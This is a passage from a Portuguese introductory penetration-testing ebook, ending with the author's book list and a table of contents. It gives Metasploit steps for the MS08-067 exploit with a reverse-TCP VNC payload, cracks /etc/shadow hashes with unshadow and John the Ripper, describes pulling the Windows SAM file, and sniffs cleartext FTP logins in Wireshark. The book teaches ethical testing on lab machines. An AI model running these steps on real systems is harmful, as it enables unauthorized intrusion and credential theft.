temos as linhas abaixo: Além do nome e descrição do exploit, é informada uma classificação (Rank). Esta classificação indica a confiabilidade do exploit, ou seja, a chance de sucesso do mesmo sem causar instabilidades no sistema alvo (o que faria com que seu exploit pudesse ser descoberto). Um exploit pode ser classificado em: Manual Low (baixo) Average (médio) Normal Good (bom) Great (ótimo) Excelent (excelente) Pode-se também realizar uma pesquisa para ver os exploits mais recentes, bastando informar o ano atual. Search 2015 Para obter maiores informações de um exploit, basta usar o comando info. info auxiliary/dos/windows/smb/ms09_001_write A seguir são exibidas as informações apresentadas por este comando. As informações apresentadas são: Nome descritivo do exploit; Nome do módulo de Metasploit relacionado a este exploit; Tipo de licença do Metasploit; Classificação do potencial impacto do exploit no alvo; Autor do exploit; Opções básicas que devem ser configuradas para o funcionamento do exploit. Neste exemplo deve-se configurar o endereço IP do alvo (RHOST) e a porta do serviço a ser explorado (RPORT); Descrição com maiores detalhes sobre o exploit; Nas referências são disponibilizados links sobre a vulnerabilidade explorada pelo exploit; Agora vamos selecionar um exploit digitando o comando use seguido do nome do exploit. Utilizaremos outra vulnerabilidade neste momento: MS08_067. use exploit/windows/smb/ms08_067_netapi Após este comando, o prompt do Metasploit foi alterado: msf exploit(ms08_067_netapi) > O próximo passo é verificar os payloads disponíveis compatíveis com o exploit: show payloads A seguir são exibidos alguns dos payloads deste exemplo. Evidentemente, a lista é mais extensa do que o exibido na figura. Mas já é suficiente para observarmos que o nome das payloads contém uma breve indicação de sua função, cuja descrição é exibida na última coluna. Para selecionar um payload basta digitar o comando set payload seguido do nome do payload. set payloadwindows/speak_pwned O payload selecionado apenas reproduz a mensagem "You Got Pwned!". Embora seja pouco relevante e útil na prática, até mesmo porque anuncia a invasão, não deixa de ser um payload divertido e aplicável como um primeiro exemplo. Os payloads necessitam de alguma configuração. Digite o comando abaixo para visualizar as opções. show options As opções são exibidas a seguir: Note que a opção RHOST (cuja descrição indica que se trata do endereço do alvo) não está configurada. Informe o IP do alvo conforme o comando: set RHOST 10.0.0.106 Por fim, execute o exploit: exploit Pode não ter sido a maior invasão da história, mas deve ter sido divertido ouvir a mensagem no host alvo. Vamos utilizar outro exemplo, um mais útil na prática. Selecione o payload abaixo: set payload windows/vncinject/reverse_tcp Este payload instala o VNC (software que permite o controle remoto de um computador) no alvo e faz com que o alvo se conecte de volta ao host que iniciou a invasão. Para este payload funcionar, o VNC deve estar instalado no seu computador. Novamente verifique as configurações do payload. show options Agora são duas configurações necessárias: RHOST e LHOST. A opção LHOST informa o host local, ou seja, o computador que você está utilizando para realizar a invasão. Configure estas opções com os comandos abaixo (evidentemente os endereços IP poderão ser diferentes em seu teste): set RHOST 10.0.0.106 set LHOST 10.0.0.101 set ViewOnly false Por fim, inicie o exploit. exploit Aguarde alguns segundos e divirta-se tendo controle total sobre o host alvo. A figura abaixo mostra uma sessão VNC do computador remoto. Recomendo que experimente outros exploits e payloads, cujas descrições podem ser encontradas na documentação do Metasploit. Cracking de Senhas Seguindo os passos anteriores é possível realizar um teste de invasão relativamente bem sucedido. Entretanto, ainda podem-se encontrar dificuldades como acesso a uma conta de poucos direitos no sistema alvo. Em situações como essas, técnicas de cracking de senhas são bastantes úteis. A maioria dos sistemas armazena as senhas em versões criptografadas chamadas de hash. Ou seja, quando o usuário digita uma senha, o sistema aplica um algoritmo de criptografia e a transforma em uma sequencia de caracteres e números aparentemente aleatórios. O simples acesso a um hash é pouco útil pois o mesmo não é reconhecido como a senha do usuário e tão pouco é possível para um ser humano abstrair a senha a partir do hash. É importante diferenciar um cracking de senha de outros métodos de força bruta, apesar de ambos consistirem em sequencias de tentativas e erros. Estes últimos apenas consistem uma série de tentativas de login no sistema alvo a partir de um dicionário de palavras, sem envolver processos de criptografia. O cracking de senha envolve a criptografia de diversas palavras em hashs, seguida da comparação com as hashes armazenadas em um arquivo de senhas criptografadas. Caso a hash de alguma palavra gerada pelo software seja a mesma do arquivo de senhas, a palavra em questão é uma senha válida no sistema alvo. Para utilizar um cracker de senha deve-se obter o arquivo de hashes de senha do sistema alvo. Embora este procedimento possa ser feito remotamente, o cracking local além de ter melhor performance, é mais didático para uma primeira tentativa. Antes de iniciarmos nosso exemplo, baixe e instale o cracker de senha John the Ripper, que está disponível no site www.openwall.com/john. No Ubuntu, para instalar o software, basta digitar o comando: apt-get install john Suponha que nosso sistema alvo seja um ambiente Linux. No Linux as hashes de senha criptografadas ficam no arquivo /etc/shadow, enquanto no arquivo /etc/passwd ficam armazenados os dados dos usuários. O arquivo /etc/shadow é restrito a usuários privilegiados. Portanto, a menos que você tenha acesso a uma conta privilegiada, terá que acessar o arquivo fazendo um boot com CD, DVD ou pendrive com Linux instalado e montando a partição onde o arquivo se encontra (neste momento são necessários conhecimentos intermediários de Linux). Uma vez tendo obtido acesso a ambos os arquivos, digite o comando: http://www.openwall.com/john unshadow /etc/passwd /etc/shadow > hashes.txt Este comando, que integra o John the Ripper, combina as informações de usuários com suas senhas criptografadas em um único arquivo, que neste caso se chama hashes.txt. O próximo passo é utilizar o cracker sobre o arquivo criado: john hashes.txt A execução deste comando levará um bom tempo. Você pode pressionar qualquer tecla para exibir informações sobre sua execução. A medida que senhas forem sendo quebradas, o software exibe a senha seguida do nome do usuário entre parênteses. A qualquer momento a execução do john pode ser interrompida, basta teclar Ctrl+C. Entretanto, ao reexecutar o programa, ele retomará o processo a partir do ponto onde parou. Para exibir quais senhas o john já quebrou, basta digitar: john -- show hashes.txt A figura a seguir exibe o resultado apresentado pelo john. A cada linha é exibido o nome do usuário seguido de sua senha. As demais informações são provenientes do arquivo /etc/passwd. Note que usuário fabricio tinha a senha fabricio. O usuário teste tinha como senha admin. E o usuário teste1 tinha como senha password. Nenhuma delas foi muito original, o que facilitou a “vida” do john neste exemplo. Se seu sistema alvo for um Windows, o arquivo em questão se chama SAM e estará no diretório C:\Windows\System32\Config. Como medida de segurança o arquivo é bloqueado pelo sistema operacional. Portanto, para ter acesso a ele, novamente será necessário fazer um boot utilizando um CD, DVD ou pendrive com Linux instalado, montar a partição onde o Windows está instalado. Neste caso também será necessário usar a ferramenta chamada Samdump2 para extrair as hashes. É interessante ter seu próprio dicionário de senhas. Adicione ao dicionário que você obteve (que provavelmente é baseado na língua inglesa) palavras chaves comuns à sua cultura local, regional e nacional. A partir da coleta de informações, também é possível ter algumas ideias de possíveis palavras utilizadas como senhas. Dessa forma seu dicionário será dinâmico e cada vez mais eficiente. Sniffing de Tráfego de Rede A todo instante a placa de rede de seu computador recebe inúmeros pacotes que podem ser endereçados ao seu computador ou a outros computadores. Isto ocorre principalmente em ambientes de rede sem fio ou em redes que usam hubs (dispositivos de rede que apenas distribuem todo o tráfego em suas portas físicas). Normalmente as placas de rede descartam os pacotes não endereçados a elas e repassam para a CPU os pacotes endereçados ao computador. Entretanto, pode-se fazer com que a placa de rede opere em modo “promíscuo” aceitando todos os pacotes que a ela chegarem. Aí entra o sniffing de tráfego de rede. Sniffing de tráfego de rede consiste em capturar e visualizar pacotes que trafegam pela rede. Esta técnica tira proveito de protocolos que não utilizam criptografia de dados, ou seja enviam dados em forma de texto simples e legível. Nesta seção utilizaremos o software Wireshark, que é uma das mais simples e eficientes ferramentas de sniffing (Engebretson, 2014). Trata-se de um analisador de protocolos de rede com interface gráfica, nos permitindo visualizar detalhes dos pacotes trafegando na rede. Ele é capaz de capturar tráfego Ethernet, wireless, Bluetooh e outros. Com ele é possível, inclusive, “grampear” uma chamada telefônica feita por VoIP (Voz sobre IP). Este software pode ser baixado do site www.wireshark.org, ou instalado no Ubuntu através do comando: apt-get install wireshark Após ser iniciado, as interfaces de rede disponíveis aparecem já na tela inicial. Escolha a interface que desejar utilizar,conforme exibido a seguir: Caso nenhuma interface esteja disponível, provavelmente o usuário sendo utilizado não possui acesso às placas de rede. Mas atenção: não é recomendável utilizar o Wireshark como root. http://www.wireshark.org/ Ao invés disso execute os comandos abaixo. Estes comandos criarão o grupo wireshark, incluirão seu usuário no grupo e darão os acessos necessários para o Wireshark funcionar normalmente. sudo groupadd wireshark sudo usermod -a -G wireshark $USER sudo chgrp wireshark /usr/bin/dumpcap sudo chmod 755 /usr/bin/dumpcap sudo setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap Na figura exibida anteriormente, acima das interfaces de rede, há a opção Start. Ao clicar nesta opção, o Wireshark irá começar a trabalhar com as opções padrões do software. Neste texto introdutório, não nos preocuparemos em analisar as diversas opções existentes. Rapidamente a tela do Wireshark será inundada de pacotes, conforme a figura abaixo. Não se preocupe toda essa informação pode ser salva e analisada com calma. Pode-se ainda filtrar os protocolos ou expressões que se deseja procurar. Para tornar didático este primeiro contato com o Wireshark, façamos uma experiência com o protocolo ftp. Digite ftp no campo filter e clique em Apply. Isto fará com que apenas pacotes ftp sejam exibidos. Em seguida, utilizando um terminal, acesse um servidor ftp. Caso não tenha nenhum instalado, utilize um servidor disponível na internet. O comando é simples: ftp NOME_OU_IP_DO_SERVIDOR Tente fazer login, fornecendo um usuário e uma senha qualquer. Provavelmente sua conexão será recusada, mas a tentativa servirá para nosso exemplo. Em seguida volte ao Wireshark. Você terá uma visão parecida com esta. Note que, na quarta linha, o nome do usuário e a senha aparecem claramente escritas no pacote, isto porque o ftp não faz criptografia de seus pacotes. Se o usuário “fabricio” e a senha “senha” fossem válidos, você já teria acesso ao servidor ftp cujo IP está exibido na primeira linha. A partir deste exemplo é possível aprofundar-se no uso do Wireshark. Tente filtrar outros serviços ou protocolos e se surpreenderá com a quantidade de informação não criptografada que pode trafega por uma rede. Conclusão A prática de testes de invasão pode ser uma experiência desafiadora, às vezes frustrante, normalmente consome muito tempo de dedicação, mas é gratificante a cada sucesso. Nos exemplos deste livro, frequentemente utilizamos máquinas virtuais por questão de praticidade (é mais fácil instalar, reiniciar, reconfigurar, duplicar e “destruir” uma máquina virtual). Num próximo passo em suas práticas, instale um alvo remoto vulnerável e realize diversos testes (sistemas operacionais mais antigos e sem atualização são alvos iniciais interessantes). À medida que os sucessos se tornarem um lugar comum, torne os testes mais desafiadores. Tente corrigir as vulnerabilidades do alvo, instale um firewall, atualize o sistema operacional, opte por sistemas operacionais mais seguros, etc. Após concluir um teste de invasão é importante adicionar à catalogação, iniciada no primeiro passo, um relatório com as falhas encontradas e ações necessárias para corrigi-las. Estas informações serão úteis a você em consultas futuras e ao responsável pelo sistema alvo, principal interessado em torná-lo mais seguro. Ao gerar um relatório, pense em ser organizado e esclarecedor. Divida-o em seções. Faça um sumário. Faça uma introdução em que descreva como o teste foi efetuado e com que objetivos. Em uma seção específica relate as falhas encontradas mencionando softwares, protocolos, portas, etc (utilize informações dos relatórios gerados pelas ferramentas que utilizou – Nessus, Nmap, Metasploit, e outros). Finalize deixando claro que o sistema alvo não foi comprometido e se disponha a prestar maiores informações (caso esteja apresentando a um cliente em potencial). Mas lembre-se que nem sempre o leitor deste relatório possui tantos conhecimentos técnicos quanto você. Portanto, tente ser didático. Este último passo pode não só potencializar um possível emprego na área de Segurança da Informação, mas também demonstrar sua capacidade e credibilidade como consultor independente nesta área. De uma forma ou de outra, um relatório bem escrito lhe abrirá portas no mercado. Por falar em mercado, a área de segurança tem diversas especializações. A seguir, seguem algumas dessas especializações: Segurança de aplicações web; Segurança ofensiva (que foi a especialização explorada neste livro); Engenharia reversa; Análise de malwares; Técnicas forenses digitais; Segurança wireless. Antes de finalizarmos, é importante lembrar que o resultado de um teste de invasão, por mais criterioso que tenha sido, é apenas uma fotografia tirada em um dado momento. Em outras palavras, um sistema que se mostrou seguro, ou parcialmente seguro, em um teste, pode vir a apresentar falhas num futuro próximo. Isto por que os softwares são dinâmicos. Frequentemente novas falhas são descobertas e novas atualizações e políticas de seguranças são necessárias. Referências Bibliográficas ENGEBRETSON, Patrick. Introdução ao Hacking e aos Testes de Invasão: facilitando o hacking ético e os testes de invasão. São Paulo: Novate, 2014. HOGLUND, Greg; MCGRAW, Gary. Como Quebrar Códigos: a arte de (explorar e proteger) software. São Paulo: Pearson, 2006. MOELLER, Jonathan. The Ubuntu Beginner's Guide. Reno: LLC/Amazon, 2012. 6 ed. MOTA, FILHO, João Eriberto. Descobrindo o Linux: entenda o sistema operacional GNU/Linux. São Paulo: Novatec, 2012. 3 ed. THOMAS, Keir. Linux Nitty Gritty: Working at the Uuntu Command-Line Prompt. McFreda/Amazon, 2011. VALLE, Odilson Tadeu. Administração de redes com linux: fundamentos e práticas. Florianópolis: Publicações do IF-SC, 2010. WEIDMAN, Georgia. Testes de Invasão: uma introdução prática ao hacking. São Paulo: Novatec, 2014. Livros Publicados na Amazon Estaticópolis - Um jeito novo de aprender Estatística Este livro não apresenta um conteúdo de forma linear, nem é recheado de fórmulas, teorias e conceitos. Estaticópolis é uma ficção, e como toda ficção, busca ser divertida e envolvente. Neste livro, o leitor encontrará diversas analogias das estatísticas presentes em seu cotidiano (em noticiários, pesquisas eleitorais, campanhas publicitárias, relações comerciais, etc) e aprenderá a analisá-las em suas entrelinhas. . Um livro útil para estudantes e profissionais de diversas áreas, com ou sem conhecimento prévio de Estatística. Estatística Básica para Processos Produtivos Estatística não é só a arte de fazer os números falarem, mas de fazer os números falarem a verdade. Isso só é possível mediante um rigoroso processo estatístico composto por vários detalhes importantes: escolha e organização de dados, extração de suas medidas, análise de inferências, criação e interpretação dos gráficos. Este livro apresenta uma série de ferramentas estatísticas (técnicas de amostragem, medidas de tendência central e dispersão, gráficos e análise de regressão), com exemplos voltados para produção, porém aplicáveis a qualquer área que exija coleta e organização de dados, apresentação e interpretação de informações. Design de Logomarcas com Inkscape: Aprenda desenhar e analisar logomarcas Este livro busca cobrir uma lacuna deixada pelos livros tradicionais da área, que muitas vezes excedem na linguagem técnica, tornando o aprendizado maçante e difícil. Utilizando uma linguagem que consiste em um diálogo contínuo com o leitor, este livro une o aprendizado de desenho de logomarcas com o uso do Inkscape, Ainda que inclua análises de logomarcas de estúdios e designers consagrados internacionalmente, este livro não é voltado apenas a profissionais da área de logomarcas. As técnicas utilizadas aqui servem para vários tipos de artes gráficas. Este é o primeiro livro de uma série de volumes que incluirão logomarcasde complexidade crescente. Tratando Imagens com GIMP: Aprendizado com Projetos Curtos e Didáticos Assim como o livro sobre Inkscape, este livro também busca cobrir uma lacuna deixada pelos livros tradicionais da área, que muitas vezes se excedem na linguagem técnica, tornando o aprendizado maçante e difícil. Com uma linguagem informal, como se dialogasse com o leitor, este livro apresenta, de forma didática, técnicas úteis para tratar fotos tiradas sob diversas circunstâncias, obtendo muitas vezes efeitos divertidos e/ou inusitados. Este é o primeiro livro de uma série de volumes que incluirão técnicas de tratamento de imagens de complexidade crescente. Introdução aos Testes de Invasão: Técnicas de ataque para melhorar suas defesas Este livro tem como objetivo ser um texto introdutório a interessados em hacking e testes de invasão. A intenção deste livro, ao promover um conteúdo de hacking e testes de invasão, vai ao encontro da necessidade de se conhecer as técnicas de invasão para se adotar medidas de prevenção à invasão. Em outras palavras: para se defender é preciso conhecer as técnicas e ferramentas de ataque, ou seja, segurança ofensiva. O conteúdo deste livro não exige que o leitor tenha experiência anterior em testes de invasão. Porém é importante que o leitor tenha um domínio básico de Linux, preferencialmente da distribuição Ubuntu e conhecimentos de básicos de redes de computadores. Ubuntu em Linha de Comando: Operação e Administração Eficiente do Ubuntu Linux Texto introdutório e didático sobre operação e administração de sistemas Linux através de linha de comando. Apesar de ser um livro introdutório, seu conteúdo pode ser útil para usuários com diferentes níveis de conhecimento no sistema operacional Linux. O olho e outros contos insólitos "O olho e outros contos insólitos" recebeu menção honrosa no XI Livraria Asabeça Prêmio Literário 2012. O livro traz três contos irreais, embora verossímeis, em que o improvável é apresentado com extrema naturalidade. O primeiro conto "O Olho", traz uma narrativa surreal, em que duas pessoas desconhecidas, em partes opostas do planeta, compartilham involuntariamente suas visões, fazendo-as questionar suas sanidades. O segundo conto, "Réplicas", é uma história de suspense. Tudo começa com um sensação de dor no meio da noite. Uma pequena perfuração que não coagula. E estranhas aparições e acontecimentos que fazem uma família questionar a realidade. O terceiro conto, "Maquinários", traz uma história futurista, numa época que o homem existe apenas como fonte de inspiração para formas de vida autômatas em uma Terra desfigurada. Neste cenário, um robô concebido para um fatídico propósito, e com um virtuoso defeito, passa a enfrentar toda a ordem e desordem que o cerca, tentando resgatar o que resta da humanidade. Estações marítimas o retorno ao continente Em um futuro relativamente distante, o planeta Terra estava dividido em duas grandes alianças (a aliança dos países ocidentais e a aliança dos países orientais) quando eclodiu uma grande guerra pelo domínio do planeta. Guerra que durou vários anos e, quando estava prestes a ser vencida, foi utilizada uma arma biológica devastadora pela aliança cuja derrota era iminente. Uma bactéria altamente transmissível que, dentre seus sintomas, ataca o sistema nervoso do homem e o transforma em uma criatura descontrolada e letal. A humanidade foi praticamente banida dos continentes. Os poucos sobreviventes se aglomeraram e se mataram por um espaço nas embarcações de evacuação para estações marítimas. Porém, o que parecia ser a salvação se transformou em um novo pesadelo. Os sobreviventes desta catástrofe, confinados fora de seu habitat natural, passaram a sofrer com as dificuldades de adaptação e escassez de recursos. A extinção do homem era iminente. A última esperança da humanidade seria uma tentativa desesperada de reconquistar os continentes. Foi criada uma força tarefa cuja missão seria retoma-los. Missão esta que escondia vários segredos. Ao chegar em terra firme, uma inconveniente verdade veio à tona. Surgindo aí um novo inimigo, uma intriga militar tão ou mais mortal que a bactéria e as pessoas contaminadas. Gonecity De repente, uma cidade inteira isolada. Seria possível? Algo indestrutível. De origem não conhecida. O planeta inteiro está lá. Para libertá-la. Mas, sob os olhos de todos, a cidade simplesmente some, deixando apenas uma imensa e precisa cratera. Nesta cidade, onde que que ela esteja agora, quatro pessoas unidas pelo acaso partem em busca de um meio de voltar para casa, ou, pelo menos, de respostas. Respostas que desafiarão a lógica, o tempo, a ciência e a suas próprias vidas. Outrora e outros contos insólitos Contos irreais, mas verossímeis. Fatos impossíveis, mas imagináveis. As regras do mundo que conhecemos são questionadas nestes três contos insólitos. O primeiro conto, Outrora, narra um fenômeno natural incompreensível pela ciência atual, mas que afetará para sempre a vida na Terra. Um fenômeno capaz de colocar em cheque a noção de vida ou morte. Capaz de botar em cheque saberes axiomáticos como a lei da gravidade e a lei de Lavoisier. O segundo conto, O Olho, traz uma narrativa surreal, em que duas pessoas desconhecidas, em partes opostas do planeta, compartilham involuntariamente suas visões, fazendo-as questionar suas sanidades. O terceiro conto, Oceano Morto, narra outro fenômeno inexplicável pela ciência. Mas neste conto, a ciência não terá oportunidade de estudá-lo. Repentinamente os oceanos se convertem numa matéria desconhecida, de cor, cheiro e constituição irreconhecíveis. Esta matéria consumirá a Terra aos poucos e levará a humanidade a ações extremas de uma improvável sobrevivência. O quarto conto, "Réplicas", é uma história de suspense. Tudo começa com um sensação de dor no meio da noite. Uma pequena perfuração que não coagula. E estranhas aparições e acontecimentos que fazem uma família questionar a realidade. Transgenia: uma nova espécie está surgindo Um lugar remoto. Esquecido. Condenado por poluentes de indústrias desativadas. Uma pequena população é surpreendida por um submarino de origem desconhecida, trazendo consigo uma tecnologia capaz de alterar o genoma humano. Um conflito global explode naquele pacato local quando forças especiais são enviadas para lidar com a ameaça e se deparam com um garoto com particularidades mentais que o tornam imune à perigosa tecnologia. Teorias conspiratórias, ameaças terroristas, armas biológicas e conflitos militares permeiam esta trama em época e local indefinidos. Introdução Coleta de Informações Clonagem de Sites Diretivas Google Obtendo Endereços de e - mail Whois e NetCraft Nslookup Escaneando Portas Abertas e Serviços Ping Escaneando Portas Escaneando Vulnerabilidades Explorando Vulnerabilidades Acessando serviços remotos Utilizando um Framework Cracking de Senhas Sniffing de Tráfego de Rede Conclusão
Compartilhar